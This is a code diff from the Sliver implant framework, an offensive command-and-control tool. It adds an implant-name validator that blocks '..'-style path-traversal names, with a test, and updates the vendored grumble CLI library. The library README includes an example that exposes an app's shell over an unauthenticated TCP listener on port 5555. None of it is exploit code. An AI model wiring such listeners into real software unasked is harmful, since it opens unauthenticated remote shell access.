This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
func AllowedName(name string) error {
|
||||
if name != "" {
|
||||
// allow for alphanumeric, periods, dashes, and underscores in name
|
||||
isAllowed := regexp.MustCompile(`^[[:alnum:]\.\-_]+$`).MatchString
|
||||
// do not allow for files ".", "..", or anything starting with ".."
|
||||
additionalDeny := regexp.MustCompile(`^\.\.|^\.$`).MatchString
|
||||
if !isAllowed(name) {
|
||||
return errors.New("Name must be alphanumeric or .-_ only\n")
|
||||
} else if additionalDeny(name) {
|
||||
return errors.New("Name cannot be \".\", \"..\", or start with \"..\"")
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
} else {
|
||||
return errors.New("Name cannot be blank!")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAllowedName(t *testing.T) {
|
||||
notAllowed := [3]string{".", "..", "..test"}
|
||||
isAllowed := [6]string{"test", "testing_string", "testing.string", "testing-string", "testing..string", "test.."}
|
||||
|
||||
for i := 0; i < len(notAllowed); i++ {
|
||||
if err := AllowedName(notAllowed[i]); err == nil {
|
||||
t.Fatalf("failed to deny non allowed implant name")
|
||||
}
|
||||
}
|
||||
for i := 0; i < len(isAllowed); i++ {
|
||||
if err := AllowedName(isAllowed[i]); err != nil {
|
||||
t.Fatalf("failed to allow allowed implant name")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
+45
-1
@@ -81,11 +81,55 @@ Builtin support for multiple lines.
|
||||
... command
|
||||
```
|
||||
|
||||
## Separate flags and args specifically
|
||||
If you need to pass a flag-like value as positional argument, you can do so by using a double dash:
|
||||
`>>> command --flag1=something -- --myPositionalArg`
|
||||
|
||||
## Remote shell access with readline
|
||||
By calling RunWithReadline() rather than Run() you can pass instance of readline.Instance.
|
||||
One of interesting usages is having a possibility of remote access to your shell:
|
||||
|
||||
```go
|
||||
handleFunc := func(rl *readline.Instance) {
|
||||
|
||||
var app = grumble.New(&grumble.Config{
|
||||
// override default interrupt handler to avoid remote shutdown
|
||||
InterruptHandler: func(a *grumble.App, count int) {
|
||||
// do nothing
|
||||
},
|
||||
|
||||
// your usual grumble configuration
|
||||
})
|
||||
|
||||
// add commands
|
||||
|
||||
app.RunWithReadline(rl)
|
||||
|
||||
}
|
||||
|
||||
cfg := &readline.Config{}
|
||||
readline.ListenRemote("tcp", ":5555", cfg, handleFunc)
|
||||
```
|
||||
|
||||
In the client code just use readline built in DialRemote function:
|
||||
|
||||
```go
|
||||
if err := readline.DialRemote("tcp", ":5555"); err != nil {
|
||||
fmt.Errorf("An error occurred: %s \n", err.Error())
|
||||
}
|
||||
```
|
||||
|
||||
## Samples
|
||||
|
||||
Check out the [sample directory](/sample) for some detailed examples.
|
||||
|
||||
The [grml project](https://github.com/desertbit/grml) uses grumble.
|
||||
## Projects using Grumble
|
||||
|
||||
- grml - A simple build automation tool written in Go: https://github.com/desertbit/grml
|
||||
- orbit - A RPC-like networking backend written in Go: https://github.com/desertbit/orbit
|
||||
|
||||
## Known issues
|
||||
- Windows unicode not fully supported ([issue](https://github.com/desertbit/grumble/issues/48))
|
||||
|
||||
## Additional Useful Packages
|
||||
|
||||
|
||||
+61
-31
@@ -80,6 +80,9 @@ func New(c *Config) (a *App) {
|
||||
printCommandHelp: defaultPrintCommandHelp,
|
||||
interruptHandler: defaultInterruptHandler,
|
||||
}
|
||||
if c.InterruptHandler != nil {
|
||||
a.interruptHandler = c.InterruptHandler
|
||||
}
|
||||
|
||||
// Register the builtin flags.
|
||||
a.flags.Bool("h", "help", false, "display help")
|
||||
@@ -118,6 +121,7 @@ func (a *App) Config() *Config {
|
||||
}
|
||||
|
||||
// Commands returns the app's commands.
|
||||
// Access is not thread-safe. Only access during command execution.
|
||||
func (a *App) Commands() *Commands {
|
||||
return &a.commands
|
||||
}
|
||||
@@ -277,8 +281,21 @@ func (a *App) RunCommand(args []string) error {
|
||||
// Run the application and parse the command line arguments.
|
||||
// This method blocks.
|
||||
func (a *App) Run() (err error) {
|
||||
// Create the readline instance.
|
||||
config := &readline.Config{}
|
||||
a.setReadlineDefaults(config)
|
||||
rl, err := readline.NewEx(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return a.RunWithReadline(rl)
|
||||
}
|
||||
|
||||
func (a *App) RunWithReadline(rl *readline.Instance) (err error) {
|
||||
defer a.Close()
|
||||
|
||||
a.setReadlineDefaults(rl.Config)
|
||||
|
||||
// Sort all commands by their name.
|
||||
a.commands.SortRecursive()
|
||||
|
||||
@@ -323,6 +340,7 @@ func (a *App) Run() (err error) {
|
||||
a.printCommandHelp(a, cmd, a.isShell)
|
||||
return nil
|
||||
},
|
||||
isBuiltin: true,
|
||||
}, false)
|
||||
|
||||
// Check if help should be displayed.
|
||||
@@ -331,6 +349,30 @@ func (a *App) Run() (err error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Add shell builtin commands.
|
||||
// Ensure to add all commands before running the init hook.
|
||||
// If the init hook does something with the app commands, then these should also be included.
|
||||
if a.isShell {
|
||||
a.AddCommand(&Command{
|
||||
Name: "exit",
|
||||
Help: "exit the shell",
|
||||
Run: func(c *Context) error {
|
||||
c.Stop()
|
||||
return nil
|
||||
},
|
||||
isBuiltin: true,
|
||||
})
|
||||
a.AddCommand(&Command{
|
||||
Name: "clear",
|
||||
Help: "clear the screen",
|
||||
Run: func(c *Context) error {
|
||||
readline.ClearScreen(a.rl)
|
||||
return nil
|
||||
},
|
||||
isBuiltin: true,
|
||||
})
|
||||
}
|
||||
|
||||
// Run the init hook.
|
||||
if a.initHook != nil {
|
||||
err = a.initHook(a, a.flagMap)
|
||||
@@ -344,36 +386,8 @@ func (a *App) Run() (err error) {
|
||||
return a.RunCommand(args)
|
||||
}
|
||||
|
||||
// Add shell builtin commands.
|
||||
a.AddCommand(&Command{
|
||||
Name: "exit",
|
||||
Help: "exit the shell",
|
||||
Run: func(c *Context) error {
|
||||
c.Stop()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
a.AddCommand(&Command{
|
||||
Name: "clear",
|
||||
Help: "clear the screen",
|
||||
Run: func(c *Context) error {
|
||||
readline.ClearScreen(a.rl)
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
// Create the readline instance.
|
||||
a.rl, err = readline.NewEx(&readline.Config{
|
||||
Prompt: a.currentPrompt,
|
||||
HistorySearchFold: true, // enable case-insensitive history searching
|
||||
DisableAutoSaveHistory: true,
|
||||
HistoryFile: a.config.HistoryFile,
|
||||
HistoryLimit: a.config.HistoryLimit,
|
||||
AutoComplete: newCompleter(&a.commands),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Assign readline instance
|
||||
a.rl = rl
|
||||
a.OnClose(a.rl.Close)
|
||||
|
||||
// Run the shell hook.
|
||||
@@ -393,6 +407,16 @@ func (a *App) Run() (err error) {
|
||||
return a.runShell()
|
||||
}
|
||||
|
||||
func (a *App) setReadlineDefaults(config *readline.Config) {
|
||||
config.Prompt = a.currentPrompt
|
||||
config.HistorySearchFold = true
|
||||
config.DisableAutoSaveHistory = true
|
||||
config.HistoryFile = a.config.HistoryFile
|
||||
config.HistoryLimit = a.config.HistoryLimit
|
||||
config.AutoComplete = newCompleter(&a.commands)
|
||||
config.VimMode = a.config.VimMode
|
||||
}
|
||||
|
||||
func (a *App) runShell() error {
|
||||
var interruptCount int
|
||||
var lines []string
|
||||
@@ -461,7 +485,13 @@ Loop:
|
||||
err = a.RunCommand(args)
|
||||
if err != nil {
|
||||
a.PrintError(err)
|
||||
continue Loop
|
||||
// Do not continue the Loop here. We want to handle command changes below.
|
||||
}
|
||||
|
||||
// Sort the commands again if they have changed (Add or remove action).
|
||||
if a.commands.hasChanged() {
|
||||
a.commands.SortRecursive()
|
||||
a.commands.unsetChanged()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+5
-4
@@ -67,10 +67,11 @@ type Command struct {
|
||||
// A non-nil Completer overrides the default behaviour.
|
||||
Completer func(prefix string, args []string) []string
|
||||
|
||||
parent *Command
|
||||
flags Flags
|
||||
args Args
|
||||
commands Commands
|
||||
parent *Command
|
||||
flags Flags
|
||||
args Args
|
||||
commands Commands
|
||||
isBuiltin bool // Whenever this is a build-in command not added by the user.
|
||||
}
|
||||
|
||||
func (c *Command) validate() error {
|
||||
|
||||
+42
-9
@@ -30,29 +30,43 @@ import (
|
||||
|
||||
// Commands collection.
|
||||
type Commands struct {
|
||||
list []*Command
|
||||
list []*Command
|
||||
changed bool // Used to resort if something changes.
|
||||
}
|
||||
|
||||
// Add the command to the slice.
|
||||
// Duplicates are ignored.
|
||||
func (c *Commands) Add(cmd *Command) {
|
||||
c.list = append(c.list, cmd)
|
||||
c.changed = true
|
||||
}
|
||||
|
||||
// Remove a command from the slice.
|
||||
func (c *Commands) Remove(name string) {
|
||||
var index int
|
||||
var cmd *Command
|
||||
found := false
|
||||
for index, cmd = range c.list {
|
||||
func (c *Commands) Remove(name string) (found bool) {
|
||||
for index, cmd := range c.list {
|
||||
if cmd.Name == name {
|
||||
found = true
|
||||
break
|
||||
c.changed = true
|
||||
c.list = append(c.list[:index], c.list[index+1:]...)
|
||||
return
|
||||
}
|
||||
}
|
||||
if found {
|
||||
c.list = append(c.list[:index], c.list[index+1:]...)
|
||||
return
|
||||
}
|
||||
|
||||
func (c *Commands) RemoveAll() {
|
||||
var builtins []*Command
|
||||
|
||||
// Hint: There are no built-in sub commands. Ignore them.
|
||||
for _, cmd := range c.list {
|
||||
if cmd.isBuiltin {
|
||||
builtins = append(builtins, cmd)
|
||||
}
|
||||
}
|
||||
|
||||
// Only keep the builtins.
|
||||
c.list = builtins
|
||||
c.changed = true
|
||||
}
|
||||
|
||||
// All returns a slice of all commands.
|
||||
@@ -108,6 +122,25 @@ func (c *Commands) SortRecursive() {
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Commands) hasChanged() bool {
|
||||
if c.changed {
|
||||
return true
|
||||
}
|
||||
for _, sc := range c.list {
|
||||
if sc.commands.hasChanged() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *Commands) unsetChanged() {
|
||||
c.changed = false
|
||||
for _, sc := range c.list {
|
||||
sc.commands.unsetChanged()
|
||||
}
|
||||
}
|
||||
|
||||
// parse the args and return a command path to the root.
|
||||
// cmds slice is empty, if no command was found.
|
||||
func (c *Commands) parse(
|
||||
|
||||
+6
@@ -54,6 +54,9 @@ type Config struct {
|
||||
// NoColor defines if color output should be disabled.
|
||||
NoColor bool
|
||||
|
||||
// VimMode defines if Readline is to use VimMode for line navigation.
|
||||
VimMode bool
|
||||
|
||||
// Prompt defines the shell prompt.
|
||||
Prompt string
|
||||
PromptColor *color.Color
|
||||
@@ -70,6 +73,9 @@ type Config struct {
|
||||
HelpHeadlineUnderline bool
|
||||
HelpSubCommands bool
|
||||
HelpHeadlineColor *color.Color
|
||||
|
||||
// Override default iterrupt handler
|
||||
InterruptHandler func(a *App, count int)
|
||||
}
|
||||
|
||||
// SetDefaults sets the default values if not set.
|
||||
|
||||
+2
-3
@@ -26,7 +26,6 @@ package grumble
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -130,9 +129,9 @@ Loop:
|
||||
}
|
||||
args = args[1:]
|
||||
|
||||
// A double dash (--) is used in most Bash commands to signify the end of command options,
|
||||
// A double dash (--) is used to signify the end of command options,
|
||||
// after which only positional arguments are accepted.
|
||||
if a == "--" && runtime.GOOS == "linux" {
|
||||
if a == "--" {
|
||||
break Loop
|
||||
}
|
||||
|
||||
|
||||
Vendored
+1
-1
@@ -107,7 +107,7 @@ github.com/desertbit/columnize
|
||||
# github.com/desertbit/go-shlex v0.1.1
|
||||
## explicit; go 1.14
|
||||
github.com/desertbit/go-shlex
|
||||
# github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
# github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
## explicit; go 1.12
|
||||
github.com/desertbit/grumble
|
||||
# github.com/desertbit/readline v1.5.1
|
||||
|
||||
Reference in new issue
Block a user